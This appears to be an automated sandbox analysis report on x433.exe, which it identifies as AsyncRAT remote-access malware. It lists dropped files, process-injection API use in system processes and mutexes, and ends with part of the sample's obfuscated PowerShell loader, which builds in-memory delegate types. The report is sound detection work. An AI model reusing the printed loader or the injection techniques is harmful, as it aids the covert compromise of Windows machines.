Windows Analysis Report
x433.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: 0.2.x433.exe.29b77d8.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.x4host.exe.fb0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.1707631721.0000000000FB2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\x4usb.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\x4host.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Very long command line found

Source: unknown

Process created: Commandline size = 5205

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B87E0F2 NtWriteVirtualMemory,	3_2_00007FFD9B87E0F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B87E112 NtSetContextThread,	3_2_00007FFD9B87E112
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B87E132 NtResumeThread,	3_2_00007FFD9B87E132
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B87E0D2 NtUnmapViewOfSection,	3_2_00007FFD9B87E0D2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B880FF4 NtResumeThread,	3_2_00007FFD9B880FF4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B880F30 NtSetContextThread,	3_2_00007FFD9B880F30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B880A4E NtUnmapViewOfSection,	3_2_00007FFD9B880A4E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B87E122 NtSetContextThread,	3_2_00007FFD9B87E122
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B880C6D NtWriteVirtualMemory,	3_2_00007FFD9B880C6D
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_0000000140001868 OpenProcess,IsWow64Process,FindCloseChangeNotification,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,FindCloseChangeNotification,CloseHandle,	5_2_0000000140001868
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_00000225DC642964 NtEnumerateValueKey,NtEnumerateValueKey,	6_2_00000225DC642964
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AE25CC NtQueryDirectoryFileEx,GetFileType,StrCpyW,	7_2_00000202C0AE25CC
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AE20E4 NtQuerySystemInformation,StrCmpNIW,	7_2_00000202C0AE20E4
Source: C:\Windows\System32\dwm.exe	Code function: 9_2_000002BAAE262964 NtEnumerateValueKey,NtEnumerateValueKey,	9_2_000002BAAE262964

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_p0mqc12a.0ea.ps1

Source: C:\Users\user\Desktop\x433.exe	Code function: 0_2_00007FFD9B890B95	0_2_00007FFD9B890B95
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0042BDF6	1_2_0042BDF6
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_007A00D9	1_2_007A00D9
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_007A515C	1_2_007A515C
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_007651EE	1_2_007651EE
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_007A39A3	1_2_007A39A3
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00766EAF	1_2_00766EAF
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00795980	1_2_00795980
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00767B71	1_2_00767B71
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0079D580	1_2_0079D580
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_0079C7F0	1_2_0079C7F0
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00767F80	1_2_00767F80
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00793780	1_2_00793780
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Code function: 2_2_00007FFD9B886BF2	2_2_00007FFD9B886BF2
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Code function: 2_2_00007FFD9B8816D9	2_2_00007FFD9B8816D9
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Code function: 2_2_00007FFD9B885E46	2_2_00007FFD9B885E46
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Code function: 2_2_00007FFD9B882111	2_2_00007FFD9B882111
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Code function: 2_2_00007FFD9B88D88A	2_2_00007FFD9B88D88A
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Code function: 2_2_00007FFD9B889A20	2_2_00007FFD9B889A20
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Code function: 2_2_00007FFD9B88BE28	2_2_00007FFD9B88BE28
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B87DD68	3_2_00007FFD9B87DD68
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B87E339	3_2_00007FFD9B87E339
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB13449	3_2_00007FFD9BB13449
Source: C:\Windows\System32\dllhost.exe	Code function: 5_3_000002D8B0A441F8	5_3_000002D8B0A441F8
Source: C:\Windows\System32\dllhost.exe	Code function: 5_3_000002D8B0A3DA30	5_3_000002D8B0A3DA30
Source: C:\Windows\System32\dllhost.exe	Code function: 5_3_000002D8B0A31FC8	5_3_000002D8B0A31FC8
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_0000000140001CF0	5_2_0000000140001CF0
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_0000000140002D4C	5_2_0000000140002D4C
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_0000000140002434	5_2_0000000140002434
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_00000001400031D0	5_2_00000001400031D0
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_0000000140001274	5_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_000002D8B0A74DF8	5_2_000002D8B0A74DF8
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_000002D8B0A6E630	5_2_000002D8B0A6E630
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_000002D8B0A62BC8	5_2_000002D8B0A62BC8
Source: C:\Windows\System32\winlogon.exe	Code function: 6_3_00000225DC6241F8	6_3_00000225DC6241F8
Source: C:\Windows\System32\winlogon.exe	Code function: 6_3_00000225DC61DA30	6_3_00000225DC61DA30
Source: C:\Windows\System32\winlogon.exe	Code function: 6_3_00000225DC611FC8	6_3_00000225DC611FC8
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_00000225DC654DF8	6_2_00000225DC654DF8
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_00000225DC64E630	6_2_00000225DC64E630
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_00000225DC642BC8	6_2_00000225DC642BC8
Source: C:\Windows\System32\lsass.exe	Code function: 7_3_00000202C0AC41F8	7_3_00000202C0AC41F8
Source: C:\Windows\System32\lsass.exe	Code function: 7_3_00000202C0ABDA30	7_3_00000202C0ABDA30
Source: C:\Windows\System32\lsass.exe	Code function: 7_3_00000202C0AB1FC8	7_3_00000202C0AB1FC8
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AF4DF8	7_2_00000202C0AF4DF8
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AEE630	7_2_00000202C0AEE630
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AE2BC8	7_2_00000202C0AE2BC8
Source: C:\Windows\System32\svchost.exe	Code function: 8_3_000002A6612D1FC8	8_3_000002A6612D1FC8
Source: C:\Windows\System32\svchost.exe	Code function: 8_3_000002A6612E41F8	8_3_000002A6612E41F8
Source: C:\Windows\System32\svchost.exe	Code function: 8_3_000002A6612DDA30	8_3_000002A6612DDA30
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_000002A661302BC8	8_2_000002A661302BC8
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_000002A661314DF8	8_2_000002A661314DF8
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_000002A66130E630	8_2_000002A66130E630
Source: C:\Windows\System32\dwm.exe	Code function: 9_3_000002BAAE2441F8	9_3_000002BAAE2441F8
Source: C:\Windows\System32\dwm.exe	Code function: 9_3_000002BAAE23DA30	9_3_000002BAAE23DA30
Source: C:\Windows\System32\dwm.exe	Code function: 9_3_000002BAAE231FC8	9_3_000002BAAE231FC8
Source: C:\Windows\System32\dwm.exe	Code function: 9_2_000002BAAE274DF8	9_2_000002BAAE274DF8
Source: C:\Windows\System32\dwm.exe	Code function: 9_2_000002BAAE26E630	9_2_000002BAAE26E630
Source: C:\Windows\System32\dwm.exe	Code function: 9_2_000002BAAE262BC8	9_2_000002BAAE262BC8
Source: C:\Windows\System32\svchost.exe	Code function: 10_3_0000026A8799DA30	10_3_0000026A8799DA30
Source: C:\Windows\System32\svchost.exe	Code function: 10_3_0000026A879A41F8	10_3_0000026A879A41F8
Source: C:\Windows\System32\svchost.exe	Code function: 10_3_0000026A87991FC8	10_3_0000026A87991FC8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000026A879C2BC8	10_2_0000026A879C2BC8
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000026A879CE630	10_2_0000026A879CE630
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000026A879D4DF8	10_2_0000026A879D4DF8
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_000001795377DA30	11_3_000001795377DA30
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_00000179537841F8	11_3_00000179537841F8
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_0000017953771FC8	11_3_0000017953771FC8
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000179537AE630	11_2_00000179537AE630
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000179537B4DF8	11_2_00000179537B4DF8
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000179537A2BC8	11_2_00000179537A2BC8

Source: x4Shellcode.exe.0.dr

Static PE information: Resource name: EXE type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: x433.exe, 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: OriginalFilenamex4host.exe4 vs x433.exe

Source: x433.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.x433.exe.29b77d8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.x4host.exe.fb0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.1707631721.0000000000FB2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\x4usb.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\x4host.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: x4Shellcode.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: x4Shellcode.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: x433.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: x4host.exe.0.dr, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: x4host.exe.0.dr, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: x4host.exe.0.dr, EnDrnZVI21QanoXDv7V6tpRAyEeGc3.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, EnDrnZVI21QanoXDv7V6tpRAyEeGc3.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: x4usb.exe.2.dr, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: x4usb.exe.2.dr, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: x4usb.exe.2.dr, EnDrnZVI21QanoXDv7V6tpRAyEeGc3.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.x4host.exe.1bd60000.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.x4host.exe.1bd60000.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: x4host.exe.0.dr, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: x4host.exe.0.dr, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: x4usb.exe.2.dr, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: x4usb.exe.2.dr, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: x433.exe, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: x433.exe, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: Security.evtx.16.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys\Ke
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.16.dr	Binary string: J\Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\System32\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeZX**
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exez
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.16.dr	Binary string: A\Device\HarddiskVolume3\Program Files\Mozilla Firefox\firefox.exe
Source: Security.evtx.16.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exep
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.16.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: Microsoft-Windows-SMBServer%4Operational.evtx.16.dr	Binary string: DESKTOP-AGET0TR WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-SMBServer%4Operational.evtx.16.dr	Binary string: user-PC WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: System.evtx.16.dr	Binary string: \Device\HarddiskVolume3\Windows\SysWOW64\tzutil.exe
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.16.dr	Binary string: >\Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys
Source: System.evtx.16.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exed
Source: Microsoft-Windows-SMBServer%4Operational.evtx.16.dr	Binary string: \Device\NetbiosSmb
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\System32\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exec
Source: System.evtx.16.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.16.dr	Binary string: T\Device\HarddiskVolume3\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Source: System.evtx.16.dr	Binary string: C:\Device\HarddiskVolume3`
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeW
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 1\Device\HarddiskVolume3\Windows\SysWOW64\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.16.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeV
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeU
Source: Microsoft-Windows-SmbClient%4Connectivity.evtx.16.dr	Binary string: :\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-SMBServer%4Operational.evtx.16.dr	Binary string: WIN-77KHDDR6TT1 WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.16.dr	Binary string: K\Device\HarddiskVolume3\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll6\Device\HarddiskVolume3\Windows\System32\SIHClient.exe
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.16.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}l
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.16.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeN

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/70@2/4

Source: C:\Windows\System32\dllhost.exe

Code function: 5_2_0000000140002D4C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx,

5_2_0000000140002D4C

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Code function: 1_2_0040151A SysAllocString,SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,SysFreeString,SysFreeString,SysFreeString,

1_2_0040151A

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Code function: 1_2_004017A5 FindResourceA,SizeofResource,LoadResource,LockResource,RegOpenKeyExW,RegSetValueExW,

1_2_004017A5

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Code function: 1_2_0078CBD0 StrStrIW,CloseHandle,StrStrIW,CloseServiceHandle,OpenServiceW,StrStrIW,_wcslen,ChangeServiceConfigW,StrStrIW,StrStrIW,CloseServiceHandle,CloseHandle,StartServiceW,

1_2_0078CBD0

Source: C:\Users\user\Desktop\x433.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\x433.exe.log

Source: C:\Users\user\AppData\Local\x4usb.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-141973e4e5834a36-inf
Source: C:\Users\user\Desktop\x433.exe	Mutant created: \Sessions\1\BaseNamedObjects\St48A49HT4eAEQEuH
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6988:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-141973e4e5834a367d8e3ee9-b
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Mutant created: \Sessions\1\BaseNamedObjects\W30TmOEkpxCork0C

Source: C:\Users\user\Desktop\x433.exe

File created: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Source: x433.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: x433.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\x433.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\x433.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: x433.exe

ReversingLabs: Detection: 76%

Source: unknown	Process created: C:\Users\user\Desktop\x433.exe "C:\Users\user\Desktop\x433.exe"
Source: C:\Users\user\Desktop\x433.exe	Process created: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe "C:\Users\user\AppData\Local\Temp\x4Shellcode.exe"
Source: C:\Users\user\Desktop\x433.exe	Process created: C:\Users\user\AppData\Local\Temp\x4host.exe "C:\Users\user\AppData\Local\Temp\x4host.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:rLleiAFHAZAE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OsygfxRUYuIQnc,[Parameter(Position=1)][Type]$MbVaDjEwaI)$reLCkliZwnS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+'l'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+'M'+'o'+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('My'+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'ate'+[Char](84)+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+''+'u'+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+','+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+'s'+','+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$reLCkliZwnS.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+''+'i'+'deByS'+'i'+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$OsygfxRUYuIQnc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$reLCkliZwnS.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'deB'+'y'+''+'S'+'i'+[Char](103)+','+'N'+'ew'+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+','+'Vi'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$MbVaDjEwaI,$OsygfxRUYuIQnc).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+''+'i'+'me'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $reLCkliZwnS.CreateType();}$GGVrSjgYYZyVF=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And 